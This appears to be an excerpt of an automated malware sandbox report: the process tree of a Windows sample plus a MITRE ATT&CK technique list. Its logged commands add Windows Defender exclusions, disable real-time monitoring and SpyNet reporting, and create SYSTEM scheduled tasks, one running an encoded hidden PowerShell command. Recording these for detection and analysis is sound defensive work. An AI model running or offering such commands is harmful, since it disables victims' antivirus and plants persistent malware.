      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\aPpyztafNwxtBnuG" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2840
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\cWopmCPJgSHLAdzsa" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2160
    - - C:\Windows\SysWOW64\reg.exe
        
        REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
        5⤵
        
        PID:2660
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\cWopmCPJgSHLAdzsa" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2916
    - - C:\Windows\SysWOW64\reg.exe
        
        REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
        5⤵
        
        PID:2316
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:824
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\doxzTVnpwIaGtbVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1904
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\doxzTVnpwIaGtbVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:816
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qLSmfcpfwqmXC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2180
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qLSmfcpfwqmXC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1528
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fIIxbaxdlOUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1328
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fIIxbaxdlOUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2772
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\enieVHDQPszU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1864
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\enieVHDQPszU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2604
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YvSTvwepU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:932
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YvSTvwepU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2932
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AfWxdpYtGjtwIDBHRdR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:780
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AfWxdpYtGjtwIDBHRdR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2920
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\aPpyztafNwxtBnuG\uHLNXAKY\GNgEDiPRtDbanZUe.wsf"
    3⤵
    PID:2352
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gGdrvBPLp"
    3⤵
    PID:2108
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gGdrvBPLp" /SC once /ST 01:59:47 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:2732
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\aPpyztafNwxtBnuG" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2804
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\aPpyztafNwxtBnuG" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2012
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\aPpyztafNwxtBnuG" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2680
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gGdrvBPLp"
    3⤵
    PID:2276
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "UhHRCBJxokiKfHbZA"
    3⤵
    PID:1368
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "UhHRCBJxokiKfHbZA" /SC once /ST 05:36:28 /RU "SYSTEM" /TR "\"C:\Windows\Temp\aPpyztafNwxtBnuG\rkqNiqcpARiuvNJ\fCJdkNl.exe\" vK /jFsite_idrcw 385118 /S" /V1 /F
    3⤵
    - Creates scheduled task(s)
    PID:1100
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
    3⤵
    PID:752
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
    3⤵
    PID:2260
- C:\Windows\Temp\aPpyztafNwxtBnuG\rkqNiqcpARiuvNJ\fCJdkNl.exe
  C:\Windows\Temp\aPpyztafNwxtBnuG\rkqNiqcpARiuvNJ\fCJdkNl.exe vK /jFsite_idrcw 385118 /S
  2⤵
  PID:596
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "bqfsMlCsRGaQNwAenh"
    3⤵
    PID:1552
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\YvSTvwepU\AmTeNv.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "wkEgtMVWNikMIPc" /V1 /F
    3⤵
    - Creates scheduled task(s)
    PID:2148
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:2160
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:2916
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "wkEgtMVWNikMIPc2" /F /xml "C:\Program Files (x86)\YvSTvwepU\OyvVLyM.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1328
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "wkEgtMVWNikMIPc"
    3⤵
    PID:2816
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /END /TN "wkEgtMVWNikMIPc"
    3⤵
    PID:1528
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "qUsqbVmhXhzhc2" /F /xml "C:\ProgramData\doxzTVnpwIaGtbVB\IAegeUV.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2292
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "awYKpMmKqOFUUS" /F /xml "C:\Program Files (x86)\enieVHDQPszU2\PDtwwgp.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1160
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "AYimhAQjExNCOPODv2" /F /xml "C:\Program Files (x86)\AfWxdpYtGjtwIDBHRdR\ulDShDZ.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1540
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "HYlAUFNgbsyozasMPam2" /F /xml "C:\Program Files (x86)\qLSmfcpfwqmXC\HjyUGuB.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2916
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "MPjAqSqUYcpizTNOF" /SC once /ST 03:59:45 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\aPpyztafNwxtBnuG\LMckgGzL\WnXJSjU.dll\",#1 /AHsite_idWNu 385118" /V1 /F
    3⤵
    - Creates scheduled task(s)
    PID:1480
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "MPjAqSqUYcpizTNOF"
    3⤵
    PID:616
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "UhHRCBJxokiKfHbZA"
    3⤵
    PID:2596
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
    3⤵
    PID:2120
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
    3⤵
    PID:1624
- C:\Windows\system32\rundll32.EXE
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\aPpyztafNwxtBnuG\LMckgGzL\WnXJSjU.dll",#1 /AHsite_idWNu 385118
  2⤵
  PID:1680
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\aPpyztafNwxtBnuG\LMckgGzL\WnXJSjU.dll",#1 /AHsite_idWNu 385118
    3⤵
    PID:2488
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "MPjAqSqUYcpizTNOF"
      4⤵
      PID:2096

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1220

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
1⤵
PID:2672

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2516

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\aPpyztafNwxtBnuG" /t REG_DWORD /d 0 /reg:64
1⤵
PID:1108

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2892

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\aPpyztafNwxtBnuG" /t REG_DWORD /d 0 /reg:64
1⤵
PID:856

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\aPpyztafNwxtBnuG" /t REG_DWORD /d 0 /reg:32
1⤵
PID:2736

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
1⤵
PID:1528

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
1⤵
PID:2180

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
1⤵
PID:2556

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
1⤵
PID:2908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry